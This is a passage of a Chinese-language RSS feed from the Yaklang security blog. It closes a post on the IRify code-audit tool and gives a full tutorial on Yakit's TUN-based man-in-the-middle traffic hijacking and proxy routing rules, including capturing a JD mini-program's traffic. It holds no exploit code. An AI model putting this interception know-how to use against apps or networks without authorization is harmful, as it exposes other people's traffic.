<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5603905d3bd45446-96529dedc0be9bd6715a46ea7d63e23f.png" width="1080" height="581" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结与思考交互式挖掘所想即所得">总结与思考：交互式挖掘，所想即所得<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E6%80%BB%E7%BB%93%E4%B8%8E%E6%80%9D%E8%80%83%E4%BA%A4%E4%BA%92%E5%BC%8F%E6%8C%96%E6%8E%98%E6%89%80%E6%83%B3%E5%8D%B3%E6%89%80%E5%BE%97" class="hash-link" aria-label="总结与思考：交互式挖掘，所想即所得的直接链接" title="总结与思考：交互式挖掘，所想即所得的直接链接" translate="no">​</a></h2>
<p>通过以上几个漏洞案例，我们可以清晰地看到：<strong>逻辑漏洞往往隐藏在特定的业务上下文中</strong>，需要审计人员敏锐的直觉来发现。</p>
<p>而 <strong>IRify</strong>配合 <strong>SyntaxFlow</strong>的最大价值，在于它为安全研究人员提供了一个极其流畅的<code>交互式审计环境</code>：</p>
<p><strong>1、极速的验证闭环</strong>：当你脑海中浮现出一个漏洞猜想（比如：“这里是不是没校验权限？”），你可以立刻在 IRify 中编写对应的 SyntaxFlow 规则。</p>
<p><strong>2、现场调试与反馈</strong>：无需漫长的编译或数据库构建过程，规则写完即可运行。你能当场看到匹配结果，如果结果不准确，可以立即调整过滤条件，实时查看变化。</p>
<p><strong>3、沉浸式逻辑梳理</strong>：这种“编写即运行、运行即反馈”的特性，让审计人员可以像写脚本一样，一步步逼近漏洞核心。</p>
<p>这种<strong>灵活编写、即时调试、当场见效</strong>的能力，极大地降低了将“审计思路”转化为“扫描规则”的门槛，让安全人员能够专注于挖掘业务逻辑背后的深层隐患，真正做到“所想即所得”。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="附录irify-新版项目管理操作指南">附录：IRify 新版项目管理操作指南<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#%E9%99%84%E5%BD%95irify-%E6%96%B0%E7%89%88%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97" class="hash-link" aria-label="附录：IRify 新版项目管理操作指南的直接链接" title="附录：IRify 新版项目管理操作指南的直接链接" translate="no">​</a></h2>
<p>为了提供更流畅的审计体验，IRify 对项目管理模块进行了底层重构。新版本不再以<code>单次任务</code>为维度，而是采用<code>基于目录路径的项目``聚合逻辑</code>。只要源代码路径一致，所有的编译和扫描记录都会归档在同一个项目下。</p>
<p>以下是新版界面的核心功能图解：</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1-常用操作一键直达">1. 常用操作一键直达<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#1-%E5%B8%B8%E7%94%A8%E6%93%8D%E4%BD%9C%E4%B8%80%E9%94%AE%E7%9B%B4%E8%BE%BE" class="hash-link" aria-label="1. 常用操作一键直达的直接链接" title="1. 常用操作一键直达的直接链接" translate="no">​</a></h4>
<p>我们将最常用的四个核心功能提取到了项目列表页，您可以参考下图的数字索引进行操作：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1b52a2ba2dbe4d69-6ddff5a3a59045c5b121d311c0391539.png" width="1080" height="738" class="yakdoc-image"></button></p>
<ul>
<li class=""><strong>① 代码编译 (Compile)</strong></li>
<li class=""><strong>② 代码扫描 (Scan)</strong></li>
<li class=""><strong>③ 项目历史 (History)</strong></li>
<li class=""><strong>④ 编辑配置 (Edit)</strong></li>
<li class=""><strong>⑤ 删除(Delete)</strong></li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2-智能化的项目创建流程">2. 智能化的项目创建流程<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#2-%E6%99%BA%E8%83%BD%E5%8C%96%E7%9A%84%E9%A1%B9%E7%9B%AE%E5%88%9B%E5%BB%BA%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="2. 智能化的项目创建流程的直接链接" title="2. 智能化的项目创建流程的直接链接" translate="no">​</a></h4>
<p>“添加项目”不仅仅是填个表，它内置了智能探测逻辑：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/10cc0d01445e6c5e-144f170fa61619cb032c613355fce205.png" width="1080" height="884" class="yakdoc-image"></button></p>
<ul>
<li class=""><strong>智能探测</strong>：您只需输入项目路径（支持<strong>本地绝对路径</strong>或 <strong>Git 、SVN远程链接</strong>），系统会自动探测项目语言，并自动配置过滤规则（排除无关文件），以避免无效编译影响性能。</li>
<li class=""><strong>流程控制</strong>：</li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="3-灵活的扫描策略">3. 灵活的扫描策略<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#3-%E7%81%B5%E6%B4%BB%E7%9A%84%E6%89%AB%E6%8F%8F%E7%AD%96%E7%95%A5" class="hash-link" aria-label="3. 灵活的扫描策略的直接链接" title="3. 灵活的扫描策略的直接链接" translate="no">​</a></h4>
<p>点击列表中的“扫描”按钮后，将进入扫描配置页：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/6d567fb9b266aeb4-13ce05c767539a7cfbf1effe00f20ee0.png" width="1080" height="738" class="yakdoc-image"></button></p>
<ul>
<li class=""><strong>自动补全</strong>：如果该项目从未编译过，系统会默认拉取代码并进行首次编译。</li>
<li class=""><strong>版本回溯</strong>：在<code>编译历史</code>下拉框中，您可以选择<code>编译并扫描最新代码</code><strong>，也可以选择</strong>历史上任意一次编译版本**进行重扫。这意味着您可以随时用新写的规则去检测老版本的代码。</li>
</ul>
<ol start="4">
<li class="">全面的历史回溯 (双维视图)</li>
</ol>
<p>进入<code>项目历史</code>页面，我们将数据分为了左右两栏，逻辑更加清晰：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e0dab24df7c775fb-1f680b83853eed92191b4f7f9bbe9d63.png" width="1080" height="738" class="yakdoc-image"></button></p>
<ul>
<li class=""><strong>左侧 - 编译历史</strong>：记录了代码的每一次变更版本。您可以在这里对旧版本的代码发起新的扫描或审计任务。</li>
<li class=""><strong>右侧 - 扫描历史</strong>：对应左侧选中版本的每一次扫描结果。您可以在这里<strong>查看漏洞详情</strong>或<strong>一键导出审计报告</strong>。</li>
</ul>
<ol start="5">
<li class="">旧项目迁移</li>
</ol>
<p>如果您是从旧版本升级到新版的用户，可能会发现以前的扫描记录在列表中“消失”了。这是因为旧版的历史数据缺少新版项目管理所需的配置信息。在项目启动时候会提醒是否迁移旧项目数据，点击即可迁移；也可以在项目管理进行迁移。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e3892479edd20391-7b525814ad00f2dfa2006eec13ad406a.png" width="1080" height="738" class="yakdoc-image"></button></p>
<p><strong>功能作用</strong>：点击列表右上角的**“迁移旧项目数据”**按钮。</p>
<p><strong>执行逻辑</strong>：系统会自动扫描数据库中那些没有关联项目配置的“孤儿”数据（即旧版产生的编译/扫描记录），并将它们识别、归档到新的项目视图中，确保您的历史资产不丢失。</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="6-旧版入口说明">6. 旧版入口说明<a href="https://yaklang.com/blog/detecting-logic-flaws-with-syntaxflow#6-%E6%97%A7%E7%89%88%E5%85%A5%E5%8F%A3%E8%AF%B4%E6%98%8E" class="hash-link" aria-label="6. 旧版入口说明的直接链接" title="6. 旧版入口说明的直接链接" translate="no">​</a></h4>
<p>如果您仍需要访问旧版的列表视图，可以通过菜单栏的**“实验性功能 -&gt; SSA项目编译历史”**进入。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/al5vy4oicRjktkQ8aktumg" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2025 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[流量分析：TUN 劫持与代理规则详解]]></title>
            <link>https://yaklang.com/blog/tun-hijacking-and-proxy-rules</link>
            <guid>https://yaklang.com/blog/tun-hijacking-and-proxy-rules</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[在渗透测试或者日常抓包中，很多 App/小程序/系统服务不会尊重系统代理，导致传统 HTTP/S 代理和 SSL 旁路方案很难覆盖全流量，特别是 TLS、国密或自定义协议的场景。TUN 虚拟网卡 + MITM 的透明劫持可以把“无法挂代理”的流量也收入囊中。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>在渗透测试或者日常抓包中，很多 App/小程序/系统服务不会尊重系统代理，导致传统 HTTP/S 代理和 SSL 旁路方案很难覆盖全流量，特别是 TLS、国密或自定义协议的场景。TUN 虚拟网卡 + MITM 的透明劫持可以把“无法挂代理”的流量也收入囊中。</p>
<p>同时在渗透或抓包场景，单一默认代理往往不够：不同域名/网段需要不同出口或直连，认证/链式代理容易失效，临时切换又怕漏配。全局代理规则能把流量按需分流，减少失败和重传。</p>
<p>Yakit MITM 新增了 TUN 劫持模式，全局代理规则设置，让我们一起来看看吧</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="mitm-tun-核心原理">MITM TUN 核心原理<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#mitm-tun-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86" class="hash-link" aria-label="MITM TUN 核心原理的直接链接" title="MITM TUN 核心原理的直接链接" translate="no">​</a></h2>
<ul>
<li class="">路由/接口：创建 TUN 虚拟网卡后，将目标流量的路由指向 TUN（常见做法：把默认路由或特定网段/域名的路由表项指向 TUN；DNS 也可指向本地以避免泄漏）。系统把原本发往外网的 IP 包交给 TUN。</li>
<li class="">协议重组：Netstack VM 在 TUN 上收包，按五元组重组 TCP/UDP，得到面向流的连接对象。</li>
<li class="">连接转交：重组后的 net.Conn 通过 SafeFeed 投喂到 ExtraConn 队列，并封装 “强主机模式” 元信息（原始目标 host/port、本地出口 IP）。</li>
<li class="">MITM 注入：MITM Proxy 合并该队列，逐连接进入劫持循环；强主机模式会禁用连接池复用、绑定本地 IP、保留原 Host/Port，确保透明转发不串路由。</li>
<li class="">流量处理：MITM 完成 TLS/HTTP 解密与规则处理，可选 GMTLS、HTTP/2、WebSocket、JA3 伪装、下游代理、Host 映射等；同时记录标签（如 IsStrongHostMode）、进程名和流量存储。 <button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fcfdea9a1b18630d-47beac2a77e88cfac534ac2caeb8c8d4.png" width="1080" height="665" class="yakdoc-image"></button></li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="使用场景">使用场景<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF" class="hash-link" aria-label="使用场景的直接链接" title="使用场景的直接链接" translate="no">​</a></h2>
<ul>
<li class="">移动端/小程序抓包：客户端不支持/不遵循系统代理，通过 TUN 抢占路由即可全量抓取 TLS/HTTP2/WS。</li>
<li class="">容器/沙箱环境：容器内应用不可改代理，宿主机创建 TUN 并下发路由，透明接管出站流量。</li>
<li class="">内网渗透与旁路分析：不改业务进程配置，不影响应用 socket，结合 Host 映射/下游代理可做分流或回注。</li>
<li class="">国密/自定义协议：强主机模式 + MITM GMTLS 支持，保证原目标精确转发，方便国密链路或私有协议的解析/旁路。</li>
</ul>
<blockquote>
<p><strong>注意事项</strong>启用TUN 需管理员权限，并且开启过程中可能会遇到杀软的拦截，Windows 用户还有可能弹出<strong>UAC</strong>的确认框，正常允许即可<strong>MITM 证书需要安装</strong></p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实操1-抓包浏览器网站">实操1: 抓包浏览器网站<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E5%AE%9E%E6%93%8D1-%E6%8A%93%E5%8C%85%E6%B5%8F%E8%A7%88%E5%99%A8%E7%BD%91%E7%AB%99" class="hash-link" aria-label="实操1: 抓包浏览器网站的直接链接" title="实操1: 抓包浏览器网站的直接链接" translate="no">​</a></h2>
<ol>
<li class="">
<p>启动MITM</p>
</li>
<li class="">
<p>运行 “Tun劫持服务” ，添加路由<code>www.baidu.com</code></p>
</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/398b7e4b43e2cf11-617cdae9f7ac57dd71632eaaec79e492.png" width="850" height="287" class="yakdoc-image"></button></p>
<ol start="3">
<li class="">浏览器无需设置任何代理，直接访问 baidu.com</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1920424995bb984b-bb02c5280625ff8e94a4612963c74bf0.png" width="1080" height="261" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实操2抓包小程序">实操2:抓包小程序<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E5%AE%9E%E6%93%8D2%E6%8A%93%E5%8C%85%E5%B0%8F%E7%A8%8B%E5%BA%8F" class="hash-link" aria-label="实操2:抓包小程序的直接链接" title="实操2:抓包小程序的直接链接" translate="no">​</a></h2>
<p>此前我们抓小程序时，需要借助 Proxifier 进行，借助 TUN 模式后，可实现 Yakit 即可完成全部的“抓”包工作，具体流程如下</p>
<ol>
<li class="">
<p>启动 MITM</p>
</li>
<li class="">
<p>运行 “Tun劫持服务” ，添加路由<code>api.m.jd.com</code></p>
</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/dff7c3c764a0abaf-45f391ef3bcaed04decbc3dda477c2db.png" width="850" height="310" class="yakdoc-image"></button></p>
<ol start="3">
<li class="">打开 JD 小程序</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/90414496cc5c63ec-36d9adc05e877f58ead93530e4a62405.png" width="492" height="221" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/86b992ba62ead2d1-a4f40d8888c601b40cffb4a9baadefa0.png" width="414" height="780" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<ol start="4">
<li class="">劫持流量</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/12c826add8fff99d-fb63eafd56e23412377162f3c2b03f6a.png" width="1080" height="618" class="yakdoc-image"></button></p>
<ol start="5">
<li class="">查看MITM流量</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1c4754052491f51a-567902c3e4a09ffc17d1d3e5961a0e90.png" width="1080" height="600" class="yakdoc-image"></button></p>
<blockquote>
<p><strong>可能会有读者问，</strong><code>api.m.jd.com</code><strong>这个域名改怎么来呢？别担心，后续我们会添加相应的获取方式，完善</strong>抓包<strong>流程与体验</strong></p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="代理规则">代理规则<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E4%BB%A3%E7%90%86%E8%A7%84%E5%88%99" class="hash-link" aria-label="代理规则的直接链接" title="代理规则的直接链接" translate="no">​</a></h2>
<p>全局代理规则目前可在 MITM 启动页，以及 webfuzzer 配置项中进行配置，入口如下:</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/9492891dd1e5f227-c75bd761716fe3a6b8495e4925c40073.png" width="889" height="93" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c03e290c4f9e083b-8c7686c514c9d310ca9c52f6c9af75a6.png" width="326" height="205" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="代理节点">代理节点<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E4%BB%A3%E7%90%86%E8%8A%82%E7%82%B9" class="hash-link" aria-label="代理节点的直接链接" title="代理节点的直接链接" translate="no">​</a></h2>
<p>主要功能为节点的增删改查，存活检测等</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c221d5d92a363c82-ebb793b4a13981399fd92b8a8aff1b62.png" width="1080" height="391" class="yakdoc-image"></button></p>
<p>当添加一个代理节点后，可以进行存活检测，如下图</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7c77449fee6e8326-20ef048d0072865255c213475ea49a2b.png" width="837" height="468" class="yakdoc-image"></button></p>
<p>节点为空时，默认使用本机访问检测目标，方便对比设置代理前后 IP 的变化情况</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f0213d003895bbef-dcebe4956f83c2e5817dd369bac95d3e.png" width="597" height="468" class="yakdoc-image"></button></p>
<p>也可以输入完整的 URL 进行检测对目标地址的连通性</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/6f5e1b5b8f8e36b1-03dc792fb1afc907060292b0910dad67.png" width="599" height="475" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="代理规则-1">代理规则<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E4%BB%A3%E7%90%86%E8%A7%84%E5%88%99-1" class="hash-link" aria-label="代理规则的直接链接" title="代理规则的直接链接" translate="no">​</a></h2>
<p>主要功能为，为节点设置不同的规则，进行分流，有三个设置参数</p>
<p>规则组名：给规则设置一个名字，方便后续使用时选中</p>
<p>目标地址：支持按 Host 模式分流：精确域名、.example.com/*.example.com 后缀、通配符 *，和简单正则式通配（内部是通配转正则），匹配到就使用对应代理。</p>
<p>代理地址：选择在代理节点中添加的节点，将规则添加给这个节点</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/caeb09e2ba9f3e22-efe4f78c360ca42a6b6d8404cbe714c2.png" width="1080" height="352" class="yakdoc-image"></button></p>
<p>规则能力：</p>
<ul>
<li class="">可配置多个代理节点：（URL+可选账号密码，支持标准 http:///https:///socks5:// 形式），可单独禁用节点。</li>
<li class="">支持按 Host 模式分流：精确域名、.example.com/*.example.com 后缀、通配符 *，和简单正则式通配（内部是通配转正则），匹配到就使用对应代理。</li>
<li class="">匹配逻辑：优先精确匹配，再按通配/后缀顺序；只看 Host（不依赖 URL 路径）。</li>
</ul>
<p>保存后，如下图，此后就可以在 MITM 或 WebFuzzer 中进行快速的选择了</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1caf36a7de7ee536-dd6bc587b2ed1886557fca667f649b99.png" width="1080" height="235" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/adf698dd1ddef003-271b9a3790abd43b3ef79706efb1e532.png" width="744" height="298" class="yakdoc-image"></button></p>
<p>此时，当选用规则组时，会<strong>按照规则组中设置的规则进行连接，<strong>当选择代理节点时，则代表</strong>所有流量都通过代理进行访问。</strong></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实际效果">实际效果<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E5%AE%9E%E9%99%85%E6%95%88%E6%9E%9C" class="hash-link" aria-label="实际效果的直接链接" title="实际效果的直接链接" translate="no">​</a></h2>
<p>为了更加直观的看出效果，我们添加一些能显示IP 的域名当作规则组</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5e846ce7f798002d-17690d4300e5fb5c1ade569db93175d7.png" width="1080" height="250" class="yakdoc-image"></button></p>
<p>添加后，我们打开 MITM，选中下拉框中我们此前添加的规则</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/87cabd673d6a779c-d845db359366b3d8dc4deea5e615bae8.png" width="862" height="411" class="yakdoc-image"></button></p>
<p>点击 免配置启动，访问 cip.cc ，根据规则 cip.cc 会走我们设置的 127.0.0.1:2080 的代理进行访问</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/565d47ee271a0c24-939f093d4c4e8b9c9d3095ead4fa48dd.png" width="1080" height="322" class="yakdoc-image"></button></p>
<p>访问 ifconfig.me, 根据规则，ifconfig.me 不在规则组中，应当进行直连</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e4c5c4e4fde18303-d2ecf20e5dc08dee73090865ea0232c4.png" width="1080" height="312" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="连通性错误提示">连通性错误提示<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E8%BF%9E%E9%80%9A%E6%80%A7%E9%94%99%E8%AF%AF%E6%8F%90%E7%A4%BA" class="hash-link" aria-label="连通性错误提示的直接链接" title="连通性错误提示的直接链接" translate="no">​</a></h2>
<p>为了优化体验，现在 MITM 启动时<strong>不会</strong>对用户设置的<strong>下游代理</strong>进行连通性检查，而是通过响应包的方式，我们直接看例子，首先添加一个 <a href="http://127.0.0.1:8080/" target="_blank" rel="noopener noreferrer" class="">http://127.0.0.1:8080</a> 的下游代理，这是随意添加的一个代理，实际并不存在</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c3b98ef0d6746796-c9207fad5a96dc1e1e9b6be26643151c.png" width="907" height="626" class="yakdoc-image"></button></p>
<p>点击免配置启动后，打开 <a href="http://www.baidu.xn--com,,,,,,-bc7n75asa6g767dvkexnar66b28hga64bv82cg3nca896btngs1ov3ae14a0upimuqwst3nqpfb12dvqcba638hxnnhjexw3ayh5l8lwc4das8icvp/" target="_blank" rel="noopener noreferrer" class="">www.baidu.com，可以发现，我们在多处，都添加了相应的提示，此时，用户应当对代理进行处理，检测连通性</a></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ca3f95e419547c9c-4f8d990d4ab8e3b6cdc8af42999986ad.png" width="1080" height="334" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="最后">最后<a href="https://yaklang.com/blog/tun-hijacking-and-proxy-rules#%E6%9C%80%E5%90%8E" class="hash-link" aria-label="最后的直接链接" title="最后的直接链接" translate="no">​</a></h2>
<p>新的功能，可能也会带来新的bug，特别是 TUN 模式下，不同操作系统，不同主机环境下可能存在五花八门的问题，这次上线的全局代理规则和 TUN 透明劫持，目的是让大家在复杂网络下也能更顺手地抓包和分流。TUN 场景本身复杂，如果在使用中遇到路由、证书或代理异常，欢迎随时反馈，我们会持续打磨体验。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/gWZOtQkEdpOCqLDsDhPHXA" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2025 年</category>
            <category>流量分析</category>
        </item>
    </channel>
</rss>